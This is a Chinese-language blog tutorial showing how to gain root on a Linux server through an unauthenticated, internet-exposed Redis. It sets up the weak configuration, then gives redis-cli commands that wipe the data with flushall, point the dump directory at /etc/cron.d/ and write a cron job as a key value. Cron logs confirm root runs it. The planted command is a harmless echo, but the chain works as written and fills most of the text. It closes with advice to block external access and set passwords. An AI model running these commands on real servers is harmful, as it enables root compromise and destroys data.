说明
利用redis端口暴露公网,且没有设置密码,能轻松入侵linux 服务器。
原理
远程连接redis,修改redis数据目录及文件为linux计划任务的目录,设置xx 键的值为计划任务,save数据后将会把该值写入计划任务文件,计划任务命令中可以执行任意脚本。
入侵演示
1. 编译安装并配置
redis免密码,允许外部连接。主要修改以下参数,其他参数默认即可
bind 0.0.0.0 #允许所有ip连接
protected-mode no # 关闭保护模式
daemonize yes #后台运行
# redis安装后默认配置是免密码的
2. 启动redis
# 这里是root直接启动,入侵后就得到了root权限
/usr/local/redis/bin/redis-server redis.conf
3. 入侵
3.0 连接redis
使用redis-cli工具直接连接redis
redis-cli -h jiankongshuo.com -p 6379
3.1 清空redis所有数据
flushall
3.2 修改redis 数据目录
这里设置为计划任务子目录
config set dir "/etc/cron.d/"
3.3 修改dbfilename
config set dbfilename imin
3.4 设置键值并保存
set test "\n*/1 * * * * root echo 'HaHa,I am in!'>/root/redis\n"
save
3.5 验证是否写入计划任务文件
cat /etc/cron.d/imin
REDIS0009 redis-ver5.0.7
redis-bitsescused-mem
𮤭preamble~st3
*/1 * * * * root echo 'HaHa,I am in!'>/root/redis
乱码及上面的redis信息不用管,计划任务会执行
3.6 验证计划任务是否执行
tail -1f /var/log/cron
Mar 7 11:34:01 jiankongshuo CROND[10348]: (root) CMD (echo 'HaHa,I am in!'>/root/redis)
Mar 7 11:35:01 jiankongshuo CROND[10352]: (root) CMD (echo 'HaHa,I am in!'>/root/redis)
Mar 7 11:36:01 jiankongshuo CROND[10354]: (root) CMD (echo 'HaHa,I am in!'>/root/redis)
Mar 7 11:37:01 jiankongshuo CROND[10356]: (root) CMD (echo 'HaHa,I am in!'>/root/redis)
3.7 验证计划命令结果
cat /root/redis
HaHa,I am in!
至此,redis入侵演示完毕。
环境说明
- 操作系统 CentOS8
- redis 编译参数 make install PREFIX=/usr/local/redis
- redis版本Redis server v=5.0.7
特殊说明
使用yum安装的redis (也是root启动)不会有这个问题,文件一直被限制在/var/lib/redis 下面。 而自己编译安装进行攻击,目前我还不清楚yum安装的是否有其他编译参数限制了redis的数据目录,从而更加安全。
最后,请大家务必关闭redis的外网访问,切一定要设置redis强密码。
参考 https://blog.csdn.net/kouryoushine/article/details/87917762
如果你觉得本文对你有所帮助,欢迎关注!